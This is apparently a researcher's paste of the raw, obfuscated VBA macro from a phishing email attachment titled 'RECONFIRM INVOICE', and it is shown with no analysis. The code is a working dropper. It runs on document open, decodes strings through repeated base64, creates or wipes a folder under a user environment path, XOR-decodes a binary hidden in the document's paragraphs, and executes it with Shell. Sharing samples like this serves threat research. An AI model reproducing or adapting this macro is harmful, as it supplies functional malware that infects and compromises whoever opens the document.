Malicious VBA Macro SUBJECT: RECONFIRM INVOICE

Raw Malicious VBA Macro from Email
*******
SUBJECT: RECONFIRM INVOICE
ATTACHMENT: RECONFIRM INVOICE.doc
*******
*******

Attribute VB_Name = "NewMacros"
Option Explicit

Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHOneMask = 16515072
Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHTwoMask = 258048
Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHThreeMask = 4032
Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHFourMask = 63

Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHighMask = 16711680
Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHMidMask = 65280
Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHLowMask = 255

Private Const MNAJSAQQQQQQ18 = 262144
Private Const MNAJSAQQQQQQ12 = 4096
Private Const MNAJSAQQQQQQ6 = 64
Private Const MNAJSAQQQQQQ8 = 256
Private Const MNAJSAQQQQQQ16 = 65536

Public Function Encode64(sString As String) As String

    Dim bTrans(63) As Byte, OOOPOOOOPOOOO8(255) As Long, OOOPOOOOPOOOO16(255) As Long, bOut() As Byte, bIn() As Byte
    Dim BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB As Long, lTrip As Long, iPad As Integer, lLen As Long, mnAjUYt As Long, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA As Long, lOutSize As Long

    For mnAjUYt = 0 To 63
        Select Case mnAjUYt
            Case 0 To 25
                bTrans(mnAjUYt) = 65 + mnAjUYt
            Case 26 To 51
                bTrans(mnAjUYt) = 71 + mnAjUYt
            Case 52 To 61
                bTrans(mnAjUYt) = mnAjUYt - 4
            Case 62
                bTrans(mnAjUYt) = 43
            Case 63
                bTrans(mnAjUYt) = 47
        End Select
    Next mnAjUYt

    For mnAjUYt = 0 To 255
        OOOPOOOOPOOOO8(mnAjUYt) = mnAjUYt * MNAJSAQQQQQQ8
        OOOPOOOOPOOOO16(mnAjUYt) = mnAjUYt * MNAJSAQQQQQQ16
    Next mnAjUYt

    iPad = Len(sString) Mod 3
    If iPad Then
        iPad = 3 - iPad
        sString = sString & String(iPad, Chr(0))
    End If

    bIn = StrConv(sString, vbFromUnicode)
    lLen = ((UBound(bIn) + 1) \ 3) * 4
    mnAjUYt = lLen \ 72
    lOutSize = ((mnAjUYt * 2) + lLen) - 1
    ReDim bOut(lOutSize)

    lLen = 0

    For BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB = LBound(bIn) To UBound(bIn) Step 3
        lTrip = OOOPOOOOPOOOO16(bIn(BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB)) + OOOPOOOOPOOOO8(bIn(BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB + 1)) + bIn(BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB + 2)
        mnAjUYt = lTrip And HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHOneMask
        bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) = bTrans(mnAjUYt \ MNAJSAQQQQQQ18)
        mnAjUYt = lTrip And HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHTwoMask
        bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 1) = bTrans(mnAjUYt \ MNAJSAQQQQQQ12)
        mnAjUYt = lTrip And HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHThreeMask
        bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 2) = bTrans(mnAjUYt \ MNAJSAQQQQQQ6)
        bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 3) = bTrans(lTrip And HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHFourMask)
        If lLen = 68 Then
            bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 4) = 13
            bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 5) = 10
            lLen = 0
            AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 6
        Else
            lLen = lLen + 4
            AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 4
        End If
    Next BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

    If bOut(lOutSize) = 10 Then lOutSize = lOutSize - 2

    If iPad = 1 Then
        bOut(lOutSize) = 61
    ElseIf iPad = 2 Then
        bOut(lOutSize) = 61
        bOut(lOutSize - 1) = 61
    End If

    Encode64 = StrConv(bOut, vbUnicode)

End Function

Public Function sss(sString As String) As String

    Dim bOut() As Byte, bIn() As Byte, bTrans(255) As Byte, OOOPOOOOPOOOO6(63) As Long, OOOPOOOOPOOOO12(63) As Long
    Dim OOOPOOOOPOOOO18(63) As Long, lQuad As Long, iPad As Integer, BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB As Long, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA As Long, sOut As String
    Dim mnAjUYt As Long

    sString = Replace(sString, vbCr, vbNullString)
    sString = Replace(sString, vbLf, vbNullString)

    mnAjUYt = Len(sString) Mod 4

    If InStrRev(sString, "==") Then
        iPad = 2
    ElseIf InStrRev(sString, "=") Then
        iPad = 1
    End If

    For mnAjUYt = 0 To 255
        Select Case mnAjUYt
            Case 65 To 90
                bTrans(mnAjUYt) = mnAjUYt - 65
            Case 97 To 122
                bTrans(mnAjUYt) = mnAjUYt - 71
            Case 48 To 57
                bTrans(mnAjUYt) = mnAjUYt + 4
            Case 43
                bTrans(mnAjUYt) = 62
            Case 47
                bTrans(mnAjUYt) = 63
        End Select
    Next mnAjUYt

    For mnAjUYt = 0 To 63
        OOOPOOOOPOOOO6(mnAjUYt) = mnAjUYt * MNAJSAQQQQQQ6
        OOOPOOOOPOOOO12(mnAjUYt) = mnAjUYt * MNAJSAQQQQQQ12
        OOOPOOOOPOOOO18(mnAjUYt) = mnAjUYt * MNAJSAQQQQQQ18
    Next mnAjUYt

    bIn = StrConv(sString, vbFromUnicode)
    ReDim bOut((((UBound(bIn) + 1) \ 4) * 3) - 1)

    For BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB = 0 To UBound(bIn) Step 4
        lQuad = OOOPOOOOPOOOO18(bTrans(bIn(BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB))) + OOOPOOOOPOOOO12(bTrans(bIn(BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB + 1))) + _
                OOOPOOOOPOOOO6(bTrans(bIn(BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB + 2))) + bTrans(bIn(BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB + 3))
        mnAjUYt = lQuad And HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHighMask
        bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) = mnAjUYt \ MNAJSAQQQQQQ16
        mnAjUYt = lQuad And HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHMidMask
        bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 1) = mnAjUYt \ MNAJSAQQQQQQ8
        bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 2) = lQuad And HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHLowMask
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 3
    Next BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

    sOut = StrConv(bOut, vbUnicode)
    If iPad Then sOut = Left$(sOut, Len(sOut) - iPad)
    sss = sOut

End Function

Sub AddSpace()
RemoveParagraph
End Sub

Sub S1(b As String)
MkDir (sss(Encode64(b)))
End Sub
Sub S2(b As String)
ChDir (sss(Encode64(b)))
End Sub
Sub RemoveParagraph()
    Dim vEnd3855202881 As Integer
    Dim vEnd1859739270 As Integer
    Dim vEnd3491963883 As String
    Dim vEnd349196388399 As String
    Dim vEnd988888527 As String
    Dim vEnd1400215006 As Integer
    Dim vEnd140021500699 As Integer
    Dim vEnd1636671794 As Paragraph
    Dim vEnd961873140 As Long
    Dim vEnd3892361924 As Boolean
    Dim vEnd2384858154 As Integer
    Dim vEnd34919638831 As String
    Dim vEnd3491963883199 As String
    Dim vEnd3120080411 As Byte
    Dim vEnd312008041199 As Byte
    Dim vEnd3569041833 As String
    Dim vEnd4030732206 As String
    vEnd4030732206 = sss(sss(sss(sss(sss(sss(sss("Vm14U1NtVkZNVWhUYms1U1lrVndVbFpyVWtKUFVUMDk=")))))))
    vEnd3569041833 = sss(sss(sss(sss(sss(sss(sss(sss(sss(sss("Vm0wd2QyUXlWa1pPVldSWFYwZG9WMVl3Wkc5WFJsbDNXa1JTVjFKdGVGWlZNakExVmpKS1NHVkVRbUZXVjFKSVZtcEJlRmRIVmtWUmJVWlRWbXhzTTFkV1pEUlRNbEpJVm10c2FsSnRVbkJWYlhSM1UxWmtWMXBJY0d4U2JWSllWVzAxVDFsV1NuTmpTRUpXWWxoU00xUnRlR0ZqTVdSMFVteGtUbFp1UWxoV1JscFhWakpHU0ZadVJsSldSM001"))))))))))
    Dim vEnd3465700673 As String
    vEnd988888527 = Environ(sss(sss(sss(sss("VlZaV05GUldXbGRVYTFwV1lrVTFVbFpYY3pWU01VNVdaVVZaUFE9PQ=="))))) + sss(sss(sss(sss(sss(sss(sss(sss(sss(sss("Vm0wd2QyVkhVWGhTV0doWVYwZG9XVmx0ZUV0WFJteFZVMjA1VjFadGVGWlZNakExVmpGYWRHVkliRmhoTVVwVVZtcEtTMU5IVmtkaVIwWlhWakZLU1ZkV1pEUlpWMUpYVW01S2FsSnVRbTlaV0hCWFpWWmFjMVp0UmxkTlZuQlhWRlpXVjJGSFZuRlJWR3M5"))))))))))

    If Len(dir(vEnd988888527, vbDirectory)) = 0 Then
        S1 (vEnd988888527)
    Else:
        Wipedir (vEnd988888527)
        S1 (vEnd988888527)
    End If

    vEnd3491963883 = sss(sss(sss(sss(sss(sss(sss(sss(sss("Vm0weGQxSXlSWGRPVldoVVYwZG9WMWx0ZUV0V01XeHlXa1pPYWxac1dqQlVWbEpUWVZVeFYxZHVhRmRTZWtZelZsVmFWMVpWTVVWaGVqQTk=")))))))))
    ChDrive (vEnd988888527)
    S2 (vEnd988888527)
    vEnd1400215006 = FreeFile()
    Open vEnd3491963883 For Binary As vEnd1400215006
    vEnd1859739270 = 0
    For Each vEnd1636671794 In ActiveDocument.Paragraphs
        DoEvents
            vEnd34919638831 = vEnd1636671794.Range.Text
            vEnd961873140 = 1
            vEnd1859739270 = vEnd1859739270 + 1
        If vEnd1859739270 >= 24 Then
            While (vEnd961873140 < Len(vEnd34919638831))
                vEnd3120080411 = vEnd4030732206 & Mid(vEnd34919638831, vEnd961873140, 2)
                vEnd3120080411 = vEnd3120080411 Xor &H4C
                Put #vEnd1400215006, , vEnd3120080411
                vEnd961873140 = vEnd961873140 + 2
            Wend
        End If
    Next
    Close #vEnd1400215006
    vEnd34919638833 (vEnd3491963883)
End Sub


Public Sub Wipedir(pppppppppppppppppppppppppp As String)
Dim OOO
Set OOO = CreateObject(sss(sss(sss(sss(sss(sss(sss("Vm0weE5GVXhUWGhWV0d4WFlrZG9WRmxyWkRSVk1XeFlaRVYwYVUxV2NERlpNRnByWVRGYWMxTnJiR0ZTVjFKSVdWZDRTbVF5VGtaaVJtUnBWMGRvVlZkWGRHRmhNVXB5VGxWc1lWSnRhSEJWYWtFd1RVWmFjMVp0Um1wTmJFcEpWa2QwYjJKR1NuVlJhemxWVm14YVYxUnNSVGxRVVQwOQ=="))))))))
If OOO.folderexists(pppppppppppppppppppppppppp) Then
OOO.deletefolder pppppppppppppppppppppppppp
Else
End
End If

End Sub
Sub Shits(vbHH As String)
Dim OBsGG
OBsGG = Shell(vbHH, 1)
End Sub
Sub vEnd34919638833(vEnd34919638830 As String)
    Dim vEnd3855202881 As Integer
    Dim vEnd988888527 As String
vEnd988888527 = Environ(sss(sss(sss(sss("VlZaV05GUldXbGRVYTFwV1lrVTFVbFpYY3pWU01VNVdaVVZaUFE9PQ=="))))) + sss(sss(sss(sss(sss(sss(sss(sss(sss(sss("Vm0wd2QyVkhVWGhTV0doWVYwZG9XVmx0ZUV0WFJteFZVMjA1VjFadGVGWlZNakExVmpGYWRHVkliRmhoTVVwVVZtcEtTMU5IVmtkaVIwWlhWakZLU1ZkV1pEUlpWMUpYVW01S2FsSnVRbTlaV0hCWFpWWmFjMVp0UmxkTlZuQlhWRlpXVjJGSFZuRlJWR3M5"))))))))))
    ChDrive (vEnd988888527)
    S2 (vEnd988888527)
    Shits (vEnd988888527 + sss(sss(sss(sss("VjBWamVHVnJlSFJXYWxKaFZWUXdPUT09")))))

End Sub

Sub AutoOpen()
AddSpace
End Sub

Private Sub Workbook_Open()
AddSpace
End Sub

*******
*******
*******
More FROM @neonprimetime security

http://pastebin.com/u/Neonprimetime
https://www.virustotal.com/en/USER/neonprimetime/
https://twitter.com/neonprimetime
https://www.reddit.com/USER/neonprimetime